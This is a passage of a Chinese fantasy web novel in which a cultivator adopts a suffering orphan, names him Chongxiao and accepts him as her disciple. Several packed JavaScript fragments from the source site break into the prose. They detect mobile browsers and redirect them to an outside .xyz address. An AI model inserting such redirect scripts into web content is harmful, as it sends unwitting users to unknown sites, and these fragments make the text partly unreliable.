l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770111|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片静默,梁惜因不说话,重霄自然也不会开口。哪怕梁惜因表现得再平和、情绪隐藏得再好,他也还是捕捉到了那一闪而过的惊疑。他的内心也从惊诧、害怕、茫然变为了一片死寂。 是啊,他就是个怪物,有谁会愿意将怪物留在身边呢?重霄自嘲地想着,或许自己从一开始便不该跟着梁惜因来到这个不属于他的地方... 他不该有所奢望的。 浑身像是被坚冰包裹,冷得没有一丝温度。就在此时,他体内再度传来了一阵熟悉的剧痛,痛得他只觉全身的骨头都要碎了,好似有无数把利剑扎在他身上各处,让他恨不得直接结束自己的生命。重霄咬紧牙关,不愿将这份痛楚在梁惜因面前显露出来。但梁惜因还是从他微变的脸色中敏锐地察觉到了不对劲。 梁惜因能猜到重霄是因为怨气才这般难受的,可她也是第一次遇到这种事,一时难免有些手足无措。梁惜因抿着唇,飞速在脑中回忆着此前看过的书册,思来想去,她只听闻过灵力可以压制怨气,也不知在这种情况下有没有用。 罢了,权且先试一试。她伸出手,将指尖按在重霄眉间。洁白的灵力泛着柔和的微光,缓缓地从重霄眉心进入到他的体内,一时连他眉间的印记都被掩住了。 重霄微微瞪大了双眼,他很难形容这一刻的感受,只觉全身上下都像是被温暖的溪流包裹着,身上的疼痛,心口的烦郁,全都奇迹般地被抚平,灵台前所未有的清明了起来。 他抬起头,怔愣地望着梁惜因。室内原本虎视眈眈的怨气也顿时变得乖顺无比,重又进入了重霄体内。见状,梁惜因柳眉轻蹙,怎么回事,这些怨气竟是消散不了吗? 重霄嘴唇动了动,像是想说些什么,屋门却再次被敲响了,一同响起的还有梁惜时关切的声音:“阿因?你还在里面吗?” 梁惜因浑身一激灵,完了,忘了外面还有两人了!她应了一声,正要转身去开门,却见重霄像是受到了惊吓,那些才被他收回去的怨气隐隐又有了冒头的趋势。梁惜因连忙止住步子,又凝出一缕灵力注入他眉间,同时抬手摸了摸他毛绒绒的脑袋,哄道:“乖哦。” 重霄:“......” 梁惜因上前打开木门,就见梁惜时和谢既微两个大男人一齐站在门口,将这木门都衬得狭小起来。梁惜时像是怕她怪罪,急忙说道:“阿因,我是看你进去这么久都没动静才来敲门的。”言下之意就是他没忘了梁惜因让他们先在外面等着这回事。 梁惜因扬唇说:“无妨,我知哥哥也是担心我。”她侧了侧身,好让他们看清屋内景象,“怎么样,我的小徒儿,是不是很可爱?” “是...”梁惜时下意识就要赞同自家妹妹的话,又在看清重霄后陷入了沉默。 梁惜时:“......” 谢既微:“......”含盈对可爱这个词,是不是有什么误解?? 62. 请求 不久前,谢既微望向那简朴的木屋,带着丝疑惑地问梁惜时:“含盈她进去的是不是太久了些?要不要去看看?” 梁惜时正色拒绝道:“不,阿因让我们在外面等着。”他妹妹这么做一定有她的道理。 谢既微:“...行。” 又过了片刻,本来好端端站着的梁惜时突然大步向那木屋走去:“不行,我得看看去,怕不是出事了。” 谢既微:“......”他就知道。 他们几人作为掌门和峰主,收个弟子其实再正常不过了。但梁惜因身为当今修仙界中最有天赋的阵修,年纪轻轻便接任了峰主之位,资历尚浅,亲传的弟子也仅有两人而已。天璇峰的人向来又是七大峰中最少的,连长老都没设,往往就是一位峰主教导十几位弟子。是以身为兄长的梁惜时才会对她收什么弟子格外上心一些。 此刻梁惜时站在屋门口,正好能将屋内景象尽收眼底。昏暗的房间内,床上坐着的那小孩五官极为精致,看着不过十岁左右,而眸中的漠然与狠厉却是在很多几百岁的修士身上都少见的。他眉间纹样古怪的印记更是令梁惜时心下隐隐不安。 他在想,阿因把这小孩带回来,当真不会出问题吗? 梁惜因见他们神色不对,还状重霄又把怨气泄出来了,连忙也回头看了看。却见重霄好端端地坐在床上,除了表情淡漠了些,并无任何异样。于是她又扭头看向门口的二人,问道:“怎么了吗?” 梁惜时罕见的没有第一时间赞同梁惜因的决定,他将人从屋内拉了出来,又反手将门给关上了。梁惜因一头雾水地被他拉着走到院中:“哥,这是作甚?我还没向他介绍你们呢。” 梁惜时停下步子,严肃地望着她说:“哥哥问你,你是在何处遇到这孩子的?” 梁惜因从小最怕的就是这副模样的梁惜时,立马规规矩矩答道:“在大遗野,我是在那除完魔后遇到他的。见他无家可归,天资瞧着也不差,便先将人带了回来。” “我观他面相,他日后断不是好相与之人,极有可能给身边之人带来祸患。就算是魔族,身上的戾气未免也太重了。阿因,你当真考虑好了要收他做弟子?”梁惜时皱眉发问。 梁惜因半垂着头,梁惜时说的这些她又何尝不知,更何况...她想了想方才屋内的场景,顿时觉着有些头疼,更何况她现在连重霄是不是魔族都不清楚。 可是...她脑中又浮现出昨日初见时小孩身上错杂的伤口、在决定跟她走后将小手放进她掌心的那份凉意、还有刚刚在她渡灵力时,他怔愣地注视着她的模样...... 好似过了许久,又好似只是须臾之间,梁惜因抬眸,直视着梁惜时的双眼:“我考虑好了。”既然都已将人捡了回来,又哪有这时候再变主意的道理? “你!”梁惜时眉头拧得更紧,像是想说些什么严厉的话,最终也只是一甩袖,长叹了一声。梁惜因静默地凝视着他,无言表达着自己的决心。 二人一时僵持住了,一直不语的谢既微出言劝道:“惜时,你这又是何必呢,那小孩年纪那么小,性子再邪又能邪到哪去?更别说这下还有玄晖宗管束着他。含盈,你也莫和你哥置气,好好将这事说一说,你哥定会答应的。” 梁惜时神色有几分松动,梁惜因则笑着睨了他一眼,说:“还真是好话都让你说尽了。” 谢既微状似无奈地摊手:“没办法,身为掌门,确保各峰峰主和睦相处也是分内之事。” 梁惜因轻笑出声,倾身抱住梁惜时的手臂,拉长嗓音道:“哥——掌门说得在理,他年岁尚小,只要好生教导,你说的那些也不一定会发生的。” 梁惜时早在她开口前就已动摇了,倒不是他有多认同谢既微的话,而是他清楚自己向来无法拒绝自家妹妹的请求。梁惜因还待再说,梁惜时就投降道:“好好好,哥哥答应你。但我以后会常来天璇峰看顾他,若是他本性难移或是你觉得力不从心,便立刻将人送到天玑峰来,由我亲自教导。” 谢既微:“......”说得好像你现在来天璇峰的次数很少一样。 梁惜因:“......”宗内谁不知道她哥对弟子最为严厉,为了小徒弟未来不落入这种悲惨境地,她得加把劲了。 见无人回话,梁惜时又问了一遍:“如何?”回想起那孩子的样貌,他还是有些放心不下。可他也知谢既微和梁惜因所言不差,那么小的孩子,又有玄晖宗的约束,能掀起什么大风浪? 但愿一切只是他杞人忧天。 “好,谢谢哥!”梁惜因很快答道。 梁惜时揉了揉眉心:“这声谢还是留着以后再说吧,真要出了事还得我替你兜着。” 梁惜因不乐意地说:“哥,我都是当峰主的人了,能担事了。” 谢既微呵呵一笑:“别说是峰主了,含盈你无论到了什么年纪,在你哥眼里永远都是个孩子。” 梁惜时面无表情地斜了他一眼:“就你话多。” - 屋内,重霄看着梁惜因被拉走,下意识就想伸手挽留。反应过来后,他的神情又在一瞬间黯淡下来。他躺倒在床上,盯着眼前的木制屋顶。 那绿衣服的男人唤她“阿因”,两人关系定然很是亲密,而他又算得上什么呢?弟子吗?真的会有人愿意收他这种怪物作弟子吗? 他忘不掉方才梁惜因眼中一闪而过的惊愕,她已知晓了自己有多么怪异,只怕等回来后就要将他赶走了。想到这,重霄竟感到心口有些酸涩,像是被人狠狠拧了一把。 ...好陌生的感受,为什么会出现?自己不是早已习惯了在世间各处流浪了吗? 他抬起右手,掌心处本有一道狰狞的伤痕,在昨日梁惜因给他上过药后,这伤痕很快就浅淡的快消失了。他盯着这道淡粉色的疤痕看了片刻,又放下了手,紧紧握着身下的被褥。 许是身下的床铺太过柔软、木屋之内太过安宁、伤处抹的药膏效果太好,又或是那人的语气太过低柔、掌心太过温热,他竟当真从心底生出了几分留念与不舍来。 重霄还记着她将灵力注入进自己眉心时的感受,四肢百骸都像是被春水环绕着,好温暖... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777911|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨日初见的场景不由自主地浮现在了他眼前。 他在一片混沌中来到了这个世间,他不知自己是谁,也不知自己是从何处来,要往何处去。天地浩浩,无人会在意何时多了这么一个孩子,唯有从他掌中溢出的黑雾如影随形地缠绕在他身侧。 每当这些蕴积在他体内的黑雾不受控制地溢出时,他浑身都会感到撕裂般的痛楚。好痛...太痛了...无数道怨毒的声音在他脑海中拼命叫嚣着,内心愈来愈烦躁,让他按捺不住地想去毁掉什么东西。 他一手按在手臂上,转眼就将这条手臂抓得鲜血淋漓。暗红的鲜血洇进地里,竟是让他的心底生出了几分快意。既然都已经这么痛了,再痛一些又何妨呢? 不远处隐隐传来人声,他抬起头,望着那几个过路人,艰难地发出声音:“救...” 救救他。 “啊——怪物啊!有怪物!” “快跑,快跑啊!” 几人跌跌撞撞地跑远了,惊慌失措的喊声惊起了一片林中飞鸟。他待在原地,看着那几人跑走的方向,久久都没回过神来。日头缓缓西斜,夜色笼罩大地,原来...他是怪物么。 时日一长,他渐渐习惯了这份疼痛,甚至对其生出了几分亲切。这茫茫人世间,似乎也只有这份疼痛永远不会离开他。他不再对任何人抱有期望,也不再向任何人求救,没人能救得了他。 那些自称是魔族的家伙总是用一种警惕中 带着敬畏的眼神看向他,至于那些人族,要么被他吓跑,要么对他视若无物,甚至是拔剑相向。 他孤身一人游走于这世间,无牵无挂,既无来处也无归处。像是自地狱而生的恶鬼,对所见的一切都抱有恶意。他常常想,若是活着就是为了忍受苦楚,那何不一死了之? 直到他在昨日遇见了她。 白日里,他刚从一名持刀之人的手中逃出来,背上的刀伤不住地往外冒着鲜血,将他那本就破烂的衣裳都给洇湿了大半。他体力不支,在慌不择路地跑到一片荒野上后,便慢慢瘫倒在地。正大口喘息着,他突然注意到荒野的另一端有动静。他警惕地扭头看去,就见一个白色的纤影正独自面对着几头高大的魔兽。 任谁都能看出这两方力量的悬殊,但出乎他预料的是,正当那魔兽准备扑上去之时,那白衣人不过轻动了动手指,地面上就骤然凭空出现了数道泛着白光的繁复纹样,将那几头魔兽尽数困于其间。 魔兽愤怒的咆哮声从荒野的那头径直传到了他的耳畔。不过片刻功夫,这几头魔兽就全都倒在了地上,再无一点声息。白衣人用手指于半空中划了几下,地上的纹样也随之发生了变化,白光变为金光,消解了自魔兽身上溢出的魔息。 好强,这是他的第一想法。然而下一瞬,他就见白衣人将目光转向了他这边。 糟了,被发现了。 他想逃,可这荒野之上连一处能藏身的地方都无。那白衣人的速度更是快得远远超出了他的预料,顷刻之间,一片洁白得不染丝毫尘埃的衣摆就出现在了他眼前。 63. 回家 他知道自己逃不掉了,将身体蜷作一团,下意识摆出了防御的姿态。体内的黑雾再次溢出,若即若离地环绕在他身侧,疼得他身体以极小的幅度颤抖着。 他并不害怕,甚至还有些隐秘的期待。若今日注定是他的死期,那此后是不是就再也不会痛了... 可预想中的攻击并没有到来,他听见了一道清溪般的女声,她在问自己,愿不愿意与她回去。回去?回哪去?他一时难以理解这几个字的意思,试探性地抬起头望向身前的人。 那一刻,他宛若看见了观音低眉。 没等到他回话,那人也不急,蹲下身子平视着他。他想后退,却听得那道温柔的嗓音再度响起,她和他说起一个名唤玄晖宗的地方,说他可以把那里当作自己的家,还说她愿意教他阵法...... 凝视着眼前女子清丽的面容,他只感到了无限的茫然。为什么?为什么要对素不相识的他说这些话?家...他这种怪物也能拥有家吗? 他依旧不语,一动不动地注视着她,试图从她面上找出破绽来,找出那被隐藏起来的恶意。 然而并没有。她只是含笑注视着他,将一只白净纤细的手伸至他面前,耐心等着他的答复。 他的内心在挣扎,要答应吗?要去她说的那个地方吗?要...相信她吗? 直到天色彻底暗下,他才终于做出决定,将自己那满是泥污的手轻轻搭在了她的掌心。 肆意缭绕着的黑雾慢慢沉寂下来,再度回到了他体内。 看着面前之人那双澄澈的眼,他实是说不出拒绝的话来。哪怕明知人性有多恶,他还是想要试着去相信一次,去相信这第一次给他善意之人。 大不了就再回世间流浪,对此他早就习惯了。 而且...她说会教他阵法。他方才亲眼见了她是如何对付那几头魔兽的,如果他跟她走,是不是也能拥有那样的力量?是不是就可以不再受体内黑雾的支配?他渴求力量,他想变强,而非像如今这样任人欺凌。 两手相触,他手上的血污与尘土不可避免地沾到了她手上,碍眼极了。他眼睫动了动,想把手缩回来,那人却没给他这个机会,反倒是将他的手紧紧握在了掌中。 她似是松了口气,眼角眉梢都带着浅浅的笑意:“你家中可还有长辈?若是有,要先去询问下他们的意见。” “没有,”他很久没有开口说话了,嗓音沙哑,“我一个人。” 那人看上去并不意外,也是,他若是真有什么家人,也不会在这时浑身是伤地出现在这片荒野上。 她又问:“那你叫什么名字?” 他默了片刻,答道:“...我没有名字。” 那人轻轻地“咦”了一声,站起身思索着说:“没有名字的话...” 她抬头看向那万里长天:“不如就叫重霄如何?九重霄外云海阔。”怕他听不懂,她又补充一句:“就是希望你的人生能像天空一样辽阔。” 说罢,她弯下腰,小心翼翼地问他:“如何,喜欢吗?” “重霄...”他将这名字在舌尖滚了几遍。他能感到这二字中所含的美好祝愿,好到他甚至有些不敢接受。半晌,他才说出了那对他而言极为陌生的两个字:“喜欢。” “那就好,”她唇角绽开一抹笑,“那我日后便唤你阿霄了。” 她指尖轻动,那繁复的纹样便近在咫尺地出现在了两人眼前。这便是她所说的阵法吗?他心下微叹。 那人拉着他就要走入阵中,他却站在原地没有动。 “嗯?”她回过头,以眼神询问他。 “你...”他问出了从方才起便迫切想要知道答案的问题,“你叫什么?” “啊,忘了告诉你了。”那人抿唇笑了笑,说:“我名唤梁惜因,珍惜的惜,因缘的因。” 他不识字,就算她这般告知他,他也不知是哪两个字。但他还是郑重点头,表示自己记下了。 “那走吧,阿霄,我们回家。”她说这话时,月光倾洒在她脸上,美得不似凡尘中人。 “好。”从这日起,他不再是世间游荡着的幽魂,他有了名字,也有了家。 转瞬间,两人身处的地方就从荒野变为了一处林木葱郁的山道。梁惜因仍旧牵着他的手,在山道上缓缓行着,和他随口说着宗内的人和一些趣事。 基本都是她在说,重霄默默听着,偶尔应答几声。 梁惜因最终在一处小院前停下了脚步,和他说这便是他以后的住处了。重霄愣愣地盯着近前的木屋,他也能住上这么好的房子吗? 梁惜因推门进去,点燃烛火,让他在床上坐好,自己去打了盆热水来,将从袖中取出的帕子沾湿,轻柔地擦拭着他脸上的污迹。她这般举动令重霄很是不自在,偏过了头想躲。 梁惜因跟着他侧过了头,笑眼问他:“怎么,怕痒啊?” 重霄:“......” 他默默地将头扭了回来:“不怕。” 梁惜因似是在忍笑:“好,不怕。”她仔细地将重霄的脸擦净,看着他玉刻一般的五官,不禁调侃道:“阿霄,以后定会有很多小姑娘喜欢你的。” 喜欢他?重霄不这么觉得,怎么会有人喜欢怪物呢?可若是这张脸能让她喜欢的话,似乎也不错。 梁惜因在他的伤处抹了药,又从袖中摸出一个瓷瓶来,将倒出的药丸递至他嘴边:“来,吃药了,不苦的。” 重霄:“......”这是在将他当作几岁幼儿哄吗? 他并不讨厌这一举动,就着梁惜因的手将药丸吞了下去。确如她所言,这药丸不仅不苦,还很是清凉,入口即化。 梁惜因扬起唇角,似乎仅仅是他吃下药这件事就足够令她高兴了。她摸了摸重霄的脑袋,温声说:“这药里有安神的成分,好好睡一觉吧。” 重霄默了须臾,伸手扯住了她的衣袖,望着她说:“你要走吗?” 像是察觉到了他的不安,梁惜因回道:“我在这陪你,等你睡着了我再走。” “嗯。”重霄躺下身子,后背的刀伤隐隐作痛,但这痛对他来说已是轻微到可以忽略不记了。 其实他一点也不想睡,刚刚发生的一切都如一场美梦,是他此前完全不敢想的。他怕睡着后,这一切就会化作泡影,等再睁开眼,他还身处在那地狱般的人间中。可他终究抵挡不住体内药效,眼皮越来越沉,意识也逐渐模糊。 在彻底陷入沉眠前,他听见床边之人的低语声:“好梦,小徒儿。” - 木屋的门再次被推开,躺在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783613|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的重霄立马坐起了身。他知道来人是谁,也正因如此,他才不敢抬头看她,只是默然地等着她接下来要将他赶走的话。 梦该醒了。 怎料梁惜因径直走到了床边坐下,伸手就要扒他的衣服:“让我看看你的伤。” 重霄一惊,慌忙将衣服拢在一起:“已经好全了!” 梁惜因怀疑地盯着他,发出三连问:“当真?能有这么快?你亲眼看到的?” 重霄:“...嗯。” 梁惜因无情揭穿道:“我不信,这后背上的伤你怎么看得到?” 重霄见反抗无效,干脆自己将衣服敞开了,也省得让梁惜因来。 梁惜因奇道:“今日这么快就愿意脱了?”旋即又会意笑道:“也是,昨日就已脱过了,没什么好害羞的。” 重霄:“......”这话听上去为什么这么怪。 昨日晚上,梁惜因先给他手臂上的伤抹了药,紧接着自然而然地开始脱他的衣服。重霄当时的反应更大,怎么都不肯。 “你自己处理不到后背上的伤,且这伤若是不及时处理,只会越来越严重。”梁惜因这般在旁劝了他好一会,他才终于磨磨蹭蹭、不情不愿地将衣服敞了开来。倒也不是因为他有多害羞,而是他怕他身上那些狰狞的伤口会吓到她。 但梁惜因只是默默替他将药抹好了,其余什么也没多说,倒是让重霄松了口气。 此刻,梁惜因垂眸看着重霄的后背,玉衡峰的药自是药效极好,那伤口已然好得差不多了。只是...又一次看到她小徒儿身上这么多伤,她心内还是忍不住微微一颤,重霄年纪还这么小,她简直想象不到他以前受了多少苦。 看来得再向玉衡峰要些祛疤药了,也不知那些积久的伤疤还能不能祛得掉。这般想着,她伸手摸向一道看着就极深的疤痕,在触碰到的一瞬间,重霄的身子极轻地颤了颤。梁惜因这才回过神来,立即将手缩了回来,还不忘找补道:“咳,我就是确认下你伤口恢复得如何了。” 重霄记着他的伤好像不在那处,但也没有拆穿她。他现在心内颇为忐忑,紧张与害怕交织在一起,几要让他喘不上气来。哪怕此前同时面对三个修士的围追堵截,他也没有这种感受。 为何梁惜因这时还要来关心他?是不打算赶他走了?还是...要等他伤好全了再将他赶走? 心中那名为希望的火苗不断燃起又熄灭,他将衣服合上,低头等待着最后的审判。 在她开口之前,重霄先等来了一套衣服。 梁惜因将刚取来的弟子服递至他眼下,说:“这是宗服,记得换上,下午行拜师礼。” 巨大的欣喜涌上心头,重霄一时僵住了。不知过了有多久,他双手接过衣服,脑中还在理解着她那短短几句话的意思,反复确认着自己没有听错。拜师礼?!意思就是他真的可以留在这了,真的有人愿意收他这个怪物作徒弟,他真的...有家了。 像是骤然被拉出了暗无天日的冰湖,重霄只觉浑身上下都被暖阳包裹着。震惊、自卑、难以置信...种种情绪搅在他心间,直让他说不出话。他伸出手指,抚了抚那用料和做工皆极为讲究的宗服,白色的,和她身上衣服的颜色一样。 思及此,他不由露出了一个极为浅淡的笑来。 64. 师尊 “咦,阿霄你笑起来真好看,以后要多笑笑才是。”重霄这才注意到梁惜因不知何时蹲在了他面前,正托腮注视着他。 重霄受了一惊,面上的笑意随之落了下去。可想到梁惜因说喜欢他笑起来的样子,他便想重新弯起唇角,但又觉这样做会太过刻意。他内心纠结着,脸上的表情也就成了一副欲笑不笑的模样,眉头也微微蹙起。 梁惜因努力忍着笑,上手揉了揉他的脸颊:“好了,不逗你了。”唔,这脸上还真是一点肉都没有,以后要好好补补才是。 重霄还是不习惯梁惜因突如其来的动手动脚,但至少没有下意识的就躲开了。他心中还是不安,犹疑着问道:“你...不赶我走吗?” 梁惜因微怔,奇怪地反问道:“我为何要赶你走?” “...因为我是怪物。”重霄将头低得更深,不去看梁惜因的眼睛。可他仍能感受到她的视线一直落在他身上。 梁惜因极轻地叹了一声,她握住重霄的手,正色说:“是有人这么喊过你吗?他与你是什么关系,你就那么相信他说的话?这世上没有任何人该被说成怪物,你或许是与旁人有些不同,但那有如何?天地这么大,总会有人身上带着些小特质。” “你不是怪物,是重霄,是我梁惜因的徒儿。我既已将你带回,那只要不是你自己想走,我便绝不会将你赶走,你明白吗?阿霄,你不必去原谅那些伤害过你的人,但你要学会与自己和解。所以,别再这样叫自己了,好吗?” 梁惜因的话环绕在重霄耳畔,他动作极为缓慢地抬起了头,落入了梁惜因的眸间。他一言不发地凝视着她,像是要将她的面容牢牢记在心间。梁惜因说这话时温柔极了,温柔到...他这辈子都忘不掉了。 从来没有人对他说过这些话。眼眶隐隐有些酸涩,重霄眨了眨眼,像是下定了什么决心般地郑重应道:“好。” 闻言,梁惜因展颜一笑,没忍住又揉了揉他的脑袋:“这才乖嘛。” 重霄:“......”算了,她喜欢摸便摸吧。 “刚刚那两个人...”重霄抿了抿唇,还是很在意。 “他们呀,那白发的是宗内的谢既微谢掌门,另一个是我哥哥梁惜时,也是天玑峰的峰主。”梁惜因回道。 是哥哥啊,重霄心中莫名松了口气。梁惜因的哥哥,应该也算是他的长辈。 梁惜因继续说:“谢掌门是天生白发,平生最讨厌的就是旁人唤他老头。阿霄你可要记住这点,不然被掌门知道了可是要被抓去天枢峰当苦力的。” 重霄望着梁惜因唇边的笑意,不由也扬起了唇角。 “所以阿霄你是魔族吗?”梁惜因静了少顷,问出了方才起就一直在思索的问题。 重霄垂下眸子:“我不知道。” 他在一片迷蒙混沌中来到了这世上,从有意识起,就已是孩童身形了。 “无妨,那你可愿和我说说你此前的经历?”梁惜因斟酌着问道。 重霄犹豫片刻,还是应道:“嗯。”他不想拒绝她,也不想瞒着她。 接下来的时间里,重霄轻描淡写地向她说起那些数不清的日夜,说起那如影随形的黑雾与其带来的痛楚,说起他在世间流浪、随时要面对妖兽和修士的攻击...他省略了很多内容,只因不想让梁惜因觉着他很可怜。 但梁惜因面上有的只是纯然的关切,她蹙眉道:“这么说来,那些黑雾,也就是怨气,一直存在于你体内,且无法消散。我还是头一次听说这种事。” 梁惜因怕自己神情太过凝重会吓到重霄,又转而宽慰他道:“没关系,照方才的情况看,灵力能压制这些怨气。在你修炼出足够的灵力之前,为师会帮你压制的。还有,你在外就说自己是魔族,不要让旁人发现这些黑雾就是怨气,若是怨气又溢出了,记得及时来找我。” “嗯。”重霄点头,又有些别扭地道:“...谢谢。” “何必言谢。”梁惜因轻笑,“你再休息一会,把宗服换上,别忘了下午的拜师礼。” “好。”重霄乖巧应声,目送梁惜因出了门。他垂眸看向手中的宗服,久久都没回过神来。 梁惜因在合上门后,她面上的忧愁便控制不住地显露出来,要是有什么可以一劳永逸的除掉这些怨气的方法就好了。不行,她得再去峰内的藏书阁看看,她就不信一点端倪都找不出来。 - 下午,主殿内,梁惜因从书海中抽出身,按了按有些酸涩的眼睛,再次前往了弟子舍,正巧在门口碰见了刚要出门的重霄。 重霄也在第一时间看到了他,立马快步走了过来,仰起头望着她,眼里尽是掩不住的欣喜:“你来了。” 好可爱。梁惜因顿觉身上的疲惫都烟消云散了。重霄的容貌本就极为精致,睫毛纤长,瞳若点漆,鼻梁高挺,肤色雪白。而在他将墨发理顺,换上白色的宗服,眉眼间的戾气也收拢后,整个人更是如玉雪团子般,看得人心痒痒。 梁惜因按捺住想要揉他脸的冲动,单单只是牵起了他的手:“走吧,我怕你会找不到路,所以来带你去主殿。” 重霄的手永远带着凉意,但这一路走下来,也被梁惜因的手捂得温热了起来。 主殿之中,另两名弟子都已到了,见梁惜因来了,纷纷拱手行礼道:“弟子见过师尊。”这两名弟子分别为一女一男,女子身材高挑,相貌清冷,脸上隐隐有些意外,像是没料到新来的师弟年纪竟是这般小。而男子则是个少年模样,颀身玉立,俊秀非常,在对上重霄的视线后很快又将眼睫垂下,腼腆极了。 梁惜因正了神色,坐到主位之上,按惯例讲着宗内的情况与规矩。哪怕是这般枯燥的内容,梁惜因说得自己都有些无聊,重霄也是很认真的听着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786146|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说完这些后,梁惜因轻摆衣袖,一盏茶便凭空出现在了她与重霄面前。 重霄双手接过茶盏,茶水微微泛着热气,带着股梨花的清香,和她身上的气息很像。他将茶饮尽,俯身拜道:“弟子重霄,见过...师尊。” 从这一刻起,不论沧海桑田、光阴流转,他们二人间的关联都再也断不掉了。 “起来吧。”梁惜因说,将早已备好的身份令牌和木制阵盘递到他手中,同时向他介绍道:“这是你师姐常谧和师兄纪长天,平时若是遇到什么困难都可以去寻他们。” 常谧淡笑道:“小师弟好。” 纪长天也跟着道:“师、师弟好。”他还是低垂着头,很是害羞地不去直视这位新来的师弟。 梁惜因对他们两人说:“你们带小师弟熟悉下天璇峰,为师还有事要处理。”事实上她并没有什么很要紧的事,只是想借此让他们三人拉近些关系。 想想自家这三个徒弟...梁惜因不免觉得有些头疼。大弟子常谧生性安静,不喜与人交往。二弟子纪长天更是个极为腼腆胆怯的性子,只有与熟悉之人相处时才会话多一些。重霄就更不必说了,在来玄晖宗前估计从没与人正常交往过。 她在心内轻叹了口气,慢慢来吧。也不是觉着他们现在的性子不好,只是希望他们能多懂些人情世故,不至于在日后吃亏。 直到再也看不见梁惜因的身影了,重霄才收回跟随着她的视线。主殿内一时陷入沉默,重霄也不打算开口,只是好奇地盯着手中那圆形的东西。 纪长天看看常谧,又看看重霄,莫名觉着殿内的氛围有些尴尬。再转念一想,重霄是他的师弟,以后定是日日都会见到的,于是做了个深呼吸,鼓起勇气轻声开口说:“...师弟,这个叫阵盘,是用若木制的。” 阵盘?布阵用的工具吗?他好像没见梁惜因在对付魔兽时用过,便问:“师尊也有阵盘吗?” 见重霄主动问他话,纪长天有些欣喜,忙接道:“对,师尊的阵盘是用白玉制成的,还是天玑峰的梁峰主特意去找人打造的,但师尊基本没用过。” 看出了重霄眼中的疑问,纪长天接着解答道:“以师尊的修为,如若用上了阵盘,那定是遇上了极难解决的大麻烦。” 重霄点点头,表示明白了。 “走吧,我们带你去峰内走走。”常谧对他说。 一路下来,自然又是沉默占了绝大多数时间,但这回三人都不觉得这有什么不好。常谧走在前方,只有在路过一处地点时才会出言介绍,走在她身侧的纪长天则会再附和或补充几句。 重霄记性极好,一遍下来基本就全记清了。尤其是东侧的那间院落,满树梨花飘扬似雪。原来梁惜因身上的梨花香是这么来的,他想。 他悄悄将一片落花握在掌心,好似这样就能离她近一些、再近一些。 65. 灵蝶 往后几日,梁惜因照常给几名弟子授课,因重霄的进度差得太多,是以每次授完课后梁惜因都会将他留下,再从最基础的给他讲起。 要教的东西太多了,不仅是阵法,还要从头教他识字。为此梁惜因专门从民间买了一堆书回来,例如——《父母不得不知的二三事》《如何避免你的孩子走上歪路?》《再不让你的孩子学这些就真的晚了》等。 虽然里面大部分内容都很离谱,但也不是全然没用。头一次教这么小的徒弟,梁惜因总担心自己做得不够好,但很快她就发现是自己多虑了。重霄不仅很是乖巧听话,悟性也极高,很多东西教一次就会了,甚至还能举一反三。 唯一让她不那么省心的就是修炼这件事。许是因为体内的怨气,重霄修炼的速度不仅慢于常人,修出的灵力也不够纯。对此,重霄比梁惜因更为苦恼,总是没日没夜地在小院中修行,想尽快有所突破。 梁惜因在得知后,专程在一天夜里到弟子舍寻他。 重霄眼下泛着乌青,见是梁惜因,高兴地行礼道:“弟子见过师尊。” “不必多礼。”梁惜因走入屋内,坐在桌旁。 重霄将茶盏递至她手边:“师尊,喝茶。” 梁惜因将茶盏端起,浅啜了一口就又放回桌上,叹道:“阿霄,你不必对自己这般苛刻。” 重霄不语,放在膝上的手却默默握紧了。 梁惜因知他性子,又怎会看不出他在想什么,又说:“为师将你带回来,不是为了让天璇峰多出一个阵法天才。每个人的修炼速度都不同,不必心急。若是急于求成,反而容易伤了功体,得不偿失。” 这些道理重霄又何尝不知。可他太想变强了,想让这世间再无人能够欺辱于他,也想...有朝一日能够保护她,他不想永远被梁惜因护在身后。但为了不让梁惜因忧心,重霄还是挤出一个笑来,应道:“好,我知道了,师尊。” 你知道个头啊!梁惜因一看就知他心中想法还是没变,不觉深感无奈。也罢,劝不动的话,她以后多看顾着些他好了。 重霄像是做错了什么般,垂着脑袋不与她对视。 梁惜因又是好笑又是心疼,起身对他说:“为师带你去个地方。” 闻言,重霄一句也不多问,只是乖乖跟在她身后。梁惜因抬手开了道阵门,率先踏进阵中,重霄紧随其后。周遭的场景扭曲起来,转眼间,一片极为浩渺的湖水出现在了二人面前。 